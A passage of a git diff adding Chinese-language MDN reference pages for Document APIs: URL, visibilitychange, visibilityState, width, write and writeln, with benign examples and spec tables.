domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}</td> + </tr> + </tbody> +</table> + +<h2 id="示例">示例</h2> + +<p>这些时间的代码样例可在这个专用页面查看：<a href="/en-US/docs/Web/API/Touch_events">Touch events</a>.</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + </tr> + <tr> + <td>{{SpecName('Touch Events', '#event-touchstart')}}</td> + <td>{{Spec2('Touch Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.touchstart_event")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Touch_events">Touch events</a></li> + <li>{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}</li> + <li>以 <code><a href="/en-US/docs/Web/API/Element">Element</a></code> 为目标的相同时间：<code><a href="/en-US/docs/Web/API/Element/touchstart_event">touchstart</a></code></li> +</ul> diff --git a/files/zh-cn/web/api/document/url/index.html b/files/zh-cn/web/api/document/url/index.html new file mode 100644 index 0000000000..b9c10a984d --- /dev/null +++ b/files/zh-cn/web/api/document/url/index.html @@ -0,0 +1,17 @@ +--- +title: document.URL +slug: Web/API/Document/URL +translation_of: Web/API/Document/URL +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p>返回当前文档的URL地址</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><em>string</em> = document.URL +</pre> +<h3 id="Notes" name="Notes">备注</h3> +<p><code>该属性的值和</code>DOM Level 0中的<code>document.location.href</code> 属性的值是相等的.然而 <code>document.location.href</code> 是可写的, <code>document.URL</code> 是只读的.</p> +<p>{{ domxref("document.documentURI") }} 也返回与该属性相同的值,不过它在非HTML文档中也可以使用.</p> +<h3 id="Specification" name="Specification">规范</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-46183437">DOM Level 2 HTML: URL</a></p> +<p>{{ languages( { "es": "es/DOM/document.URL", "ja": "ja/DOM/document.URL", "pl": "pl/DOM/document.URL", "en": "en/DOM/document.URL" } ) }}</p> diff --git a/files/zh-cn/web/api/document/visibilitychange_event/index.html b/files/zh-cn/web/api/document/visibilitychange_event/index.html new file mode 100644 index 0000000000..f1c945c5ea --- /dev/null +++ b/files/zh-cn/web/api/document/visibilitychange_event/index.html @@ -0,0 +1,124 @@ +--- +title: visibilitychange +slug: Web/API/Document/visibilitychange_event +tags: + - API + - Visibility + - visibilitychange +translation_of: Web/API/Document/visibilitychange_event +--- +<p>{{APIRef}}</p> + +<p>当其选项卡的内容变得可见或被隐藏时，会在文档上触发 <code>visibilitychange</code> (能见度更改)事件。</p> + +<h2 id="概述">概述</h2> + +<dl> + <dt style="float: left; text-align: right; width: 120px;">Specification</dt> + <dd style="margin: 0pt 0pt 0pt 120px;">{{SpecName("Page Visibility API")}}</dd> + <dt style="float: left; text-align: right; width: 120px;">Interface</dt> + <dd style="margin: 0pt 0pt 0pt 120px;">{{domxref("event")}}</dd> + <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt> + <dd style="margin: 0pt 0pt 0pt 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt> + <dd style="margin: 0pt 0pt 0pt 120px;">No</dd> + <dt style="float: left; text-align: right; width: 120px;">Target</dt> + <dd style="margin: 0pt 0pt 0pt 120px;">{{domxref("Document")}}</dd> + <dt style="float: left; text-align: right; width: 120px;">Default Action</dt> + <dd style="margin: 0pt 0pt 0pt 120px;">None</dd> +</dl> + +<h2 id="使用说明">使用说明</h2> + +<p>该事件不包括文档的更新的可见性状态，但是您可以从文档的 {{domxref("Document.visibilityState", "visibilityState")}} 属性中获取该信息。</p> + +<div class="blockIndicator warning"> +<p>当 visibleStateState 属性的值转换为 <code>hidden </code>时，Safari不会按预期触发<code>visibilitychange</code>； 因此，在这种情况下，您还需要包含代码以侦听 <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Window/pagehide_event">pagehide</a></code> 事件。</p> +</div> + +<div class="blockIndicator warning"> +<p>出于兼容性原因，请确保使用 <code>document.addEventListener </code>而不是<code>window.addEventListener</code>来注册回调。 Safari <14.0仅支持前者。</p> +</div> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>{{domxref("EventTarget")}}</td> + <td>The event target (the topmost target in the DOM tree).</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td>{{domxref("DOMString")}}</td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td>{{jsxref("Boolean")}}</td> + <td>Whether the event normally bubbles or not.</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td>{{jsxref("Boolean")}}</td> + <td>Whether the event is cancellable or not.</td> + </tr> + </tbody> +</table> + +<h2 id="例子">例子</h2> + +<p>本示例在文档可见时开始播放音乐曲目，在文档不再可见时暂停音乐。</p> + +<pre class="brush:js; notranslate">document.addEventListener("visibilitychange", function() { + console.log( document.visibilityState ); +}); +</pre> + +<pre class="notranslate">document.addEventListener("visibilitychange", function() { + if (document.visibilityState === 'visible') { + backgroundMusic.play(); + } else { + backgroundMusic.pause(); + } +});</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + </thead> + <tbody> + <tr> + <td><a class="external" href="http://dvcs.w3.org/hg/webperf/raw-file/tip/specs/PageVisibility/Overview.html" title="http://dvcs.w3.org/hg/webperf/raw-file/tip/specs/PageVisibility/Overview.html">W3C Page Visibility API</a></td> + <td>{{Spec2('Page Visibility API')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">浏览器兼容性</h2> + +<p>{{Compat("api.Document.visibilitychange")}}</p> + +<p>{{Compat("api.Document.visibilitychange_event")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="/zh-CN/docs/DOM/Using_the_Page_Visibility_API" title="DOM/Using_the_Page_Visibility_API">使用页面可见性API</a></li> + <li>{{domxref("Document.visibilityState")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/visibilitystate/index.html b/files/zh-cn/web/api/document/visibilitystate/index.html new file mode 100644 index 0000000000..40cde7513b --- /dev/null +++ b/files/zh-cn/web/api/document/visibilitystate/index.html @@ -0,0 +1,52 @@ +--- +title: Document.visibilityState +slug: Web/API/Document/visibilityState +translation_of: Web/API/Document/visibilityState +--- +<p>{{ ApiRef("DOM") }}</p> + +<p> <code><strong>Document.visibilityState</strong></code> （只读属性）, 返回{{domxref('document')}}的可见性, 即当前可见元素的上下文环境. 由此可以知道当前文档(即为页面)是在背后, 或是不可见的隐藏的标签页，或者(正在)预渲染.可用的值如下：</p> + +<ul> + <li><code>'visible'</code> : 此时页面内容至少是部分可见. 即此页面在前景标签页中，并且窗口没有最小化.</li> + <li><code>'hidden</code>' : 此时页面对用户不可见. 即文档处于背景标签页或者窗口处于最小化状态，或者操作系统正处于 '锁屏状态' .</li> + <li><code>'prerender'</code> : 页面此时正在渲染中, 因此是不可见的 (considered hidden for purposes of <code>document.hidden</code>). 文档只能从此状态开始，永远不能从其他值变为此状态.注意: 浏览器支持是可选的.</li> +</ul> + +<p>当此属性的值改变时, 会递交 {{event('visibilitychange')}} 事件给{{domxref("Document")}}.</p> + +<p>典型用法是防止当页面正在渲染时加载资源, 或者当页面在背景中或窗口最小化时禁止某些活动.</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">var <em>string</em> = document.visibilityState</pre> + +<h2 id="示例">示例</h2> + +<pre class="brush:js; line-numbers language-js notranslate"><code class="language-js">document.addEventListener("visibilitychange", function() { + console.log( document.visibilityState ); + // Modify behavior... +});</code></pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Specification</th> + <th>Status</th> + <th>Comment</th> + </tr> + <tr> + <td>{{SpecName('Page Visibility API','#dom-document-visibilitystate', 'Document.visibilityState')}}</td> + <td>{{Spec2('Page Visibility API')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.visibilityState")}}</p> diff --git a/files/zh-cn/web/api/document/width/index.html b/files/zh-cn/web/api/document/width/index.html new file mode 100644 index 0000000000..47a2d1e13a --- /dev/null +++ b/files/zh-cn/web/api/document/width/index.html @@ -0,0 +1,32 @@ +--- +title: document.width +slug: Web/API/Document/width +translation_of: Web/API/Document/width +--- +<div> + {{ApiRef}} {{Obsolete_header}}</div> +<div class="geckoVersionNote"> + <p>{{gecko_callout_heading("6.0")}}</p> + <p>从Gecko 6.0开始,<code>不再支持document.width,请使用</code><code>document.body.clientWidth</code>来代替.查看{{domxref("element.clientWidth")}}.</p> +</div> +<h2 id="Summary" name="Summary">概述</h2> +<p>返回当前文档中的{{HTMLElement("body")}}元素的宽度,单位为像素.Internet Explorer不支持该属性.</p> +<h2 id="Syntax" name="Syntax">语法</h2> +<pre class="syntaxbox"><em>pixels</em> = document.width; +</pre> +<h2 id="Example" name="Example">示例</h2> +<pre class="brush:js">function init() { + alert("当前文档的宽度为 " + document.width + " 像素."); +} +</pre> +<h2 id="Alternatives" name="Alternatives">请使用下面的属性来替代该属性</h2> +<pre class="syntaxbox">document.body.clientWidth /* <body>元素的宽度 */ +document.documentElement.clientWidth /* <html>元素的宽度 */ +window.innerWidth /* window的宽度 */ +</pre> +<h2 id="Specification" name="Specification">规范</h2> +<p>{{DOM0}}</p> +<h2 id="See_also" name="See_also">相关链接</h2> +<ul> + <li>{{domxref("document.height")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/write/index.html b/files/zh-cn/web/api/document/write/index.html new file mode 100644 index 0000000000..2a9b18e9e1 --- /dev/null +++ b/files/zh-cn/web/api/document/write/index.html @@ -0,0 +1,111 @@ +--- +title: document.write +slug: Web/API/Document/write +tags: + - API + - DOM + - Document + - write + - 参考 + - 方法 +translation_of: Web/API/Document/write +--- +<div>{{ApiRef("DOM")}}</div> + +<p><strong><code>Document.write()</code></strong> 方法将一个文本字符串写入一个由 {{domxref("document.open()")}} 打开的文档流（document stream）。</p> + +<div class="note"> +<p><strong>注意</strong>: 因为 <code>document.write</code> 需要向文档<strong>流</strong>中写入内容，所以，若在一个已关闭（例如，已完成加载）的文档上调用 <code>document.write</code>，就会自动调用 <code>document.open</code>，<a href="/zh-CN/docs/Web/API/document.open#Notes">这将清空该文档的内容</a>。</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="brush: js"><var>document</var>.write(<var>markup</var>);</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><var>markup</var></dt> + <dd><em>一个包含要写入文档的文本的字符串。</em></dd> +</dl> + +<h3 id="示例">示例</h3> + +<pre class="brush: html"><html> + +<head> + <meta charset="UTF-8"> + <title><code>document.write()</code> example</title> + + <code><script> + function newContent() { + document.open(); + document.write("<h1>Out with the old - in with the new!</h1>"); + document.close(); + } + </script></code> +</head> +<body <code>onload="newContent();"</code>> + <p>Some original document content.</p> +</body> + +</html> +</pre> + +<p>{{EmbedLiveSample("Syntax")}}</p> + +<h2 id="备注">备注</h2> + +<p>向一个已经加载，并且没有调用过 {{domxref("document.open()")}} 的文档写入数据时，会自动调用 <code>document.open</code>。一旦完成了数据写入，建议调用 {{domxref("document.close()")}}，以告诉浏览器当前页面已经加载完毕。写入的数据会被解析到文档结构模型（DOM）里。在上面的例子里，元素 <code>h1</code> 会成为文档中的一个节点。</p> + +<p>如果 <code>document.write()</code> 调用发生在 HTML 里的 <code><script></code> 标签中，那么它将不会自动调用 <code>document.open()</code>。详见如下例子：</p> + +<pre class="brush: html"><script> + document.write("<h1>Main title</h1>") +</script> +</pre> + +<div class="note"><strong>注意：</strong><code>document.write</code> 和 {{domxref("document.writeln")}} <a href="https://developer.mozilla.org/en-US/docs/Archive/Web/Writing_JavaScript_for_HTML">在 XHTML 文档中不可用</a>（控制台上会显示 "Operation is not supported"[<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] 的报错信息）。 当打开本地的 .xhtml 格式的文件或任何其他 {{Glossary("MIME type", "MIME 类型")}}为 <code>application/xhtml+xml</code> 的文档时，均会报错。更多信息可查看 <a href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>。</div> + +<div class="note"><strong>注意：</strong>在有<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer">deferred</a> 或 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async">asynchronous</a> 属性的 script 中，<code>document.write</code> 会被忽略，控制台会显示 "A call to <code>document.write()</code> from an asynchronously-loaded external script was ignored" 的报错信息。</div> + +<div class="note"><strong>注意：</strong>在 Edge 中，在 {{HTMLElement("iframe")}} 内部调用 <code>document.write</code> 多于一次时会引发错误 SCRIPT70: Permission denied。</div> + +<div class="note"><strong>注意：</strong>从 Chrome 55 开始，Chrome（可能）不会运行通过 <code>document.write()</code> 注入的<code><script></code>，以防止使用 2G 连接的用户找不到 HTTP 缓存。前往<a href="https://developers.google.cn/web/updates/2016/08/removing-document-write">此链接</a>查看这种情况发生需要满足的条件。</div> + +<h2 id="规范" name="规范">规范</h2> + +<table> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">这个页面的兼容性表格是由一些结构化数据生成的。如果你想对数据作出贡献，详情请前往 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并给我们一个 PR。</div> + +<p>{{Compat("api.Document.write")}}</p> + +<h2 id="相关链接" name="相关链接">参见</h2> + +<ul> + <li>{{ domxref("element.innerHTML") }}</li> + <li>{{ domxref("document.createElement()") }}</li> +</ul> diff --git a/files/zh-cn/web/api/document/writeln/index.html b/files/zh-cn/web/api/document/writeln/index.html new file mode 100644 index 0000000000..aa133ef635 --- /dev/null +++ b/files/zh-cn/web/api/document/writeln/index.html @@ -0,0 +1,25 @@ +--- +title: document.writeln +slug: Web/API/Document/writeln +translation_of: Web/API/Document/writeln +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p>向文档中写入一串文本，并紧跟着一个换行符。</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval">document.writeln(<em>line</em>); +</pre> +<h3 id="Parameters" name="Parameters">参数</h3> +<ul> + <li><code>line</code> 为包含文本的字符串</li> +</ul> +<h3 id="Example" name="Example">示例</h3> +<pre>document.writeln("<p>enter password:</p>"); +</pre> +<h3 id="Notes" name="Notes">备注</h3> +<p><strong>document.writeln</strong> 和 <a href="/en/DOM/document.write" title="en/DOM/document.write">document.write</a> 一样，但是会添加一个换行符。</p> +<div class="note"> + <strong>Note:</strong> <strong>document.writeln</strong> (like <strong>document.write</strong>) does not work in XHTML documents (you'll get a "Operation is not supported" (<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>) error on the error console). This is the case if opening a local file with a .xhtml file extension or for any document served with an application/xhtml+xml MIME type. More information is available in the <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite" title="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div> +<h3 id="Specification" name="Specification">规范</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-35318390">writeln </a></p> +<p>{{ languages( { "ja": "ja/DOM/document.writeln", "pl": "pl/DOM/document.writeln" } ) }}</p> |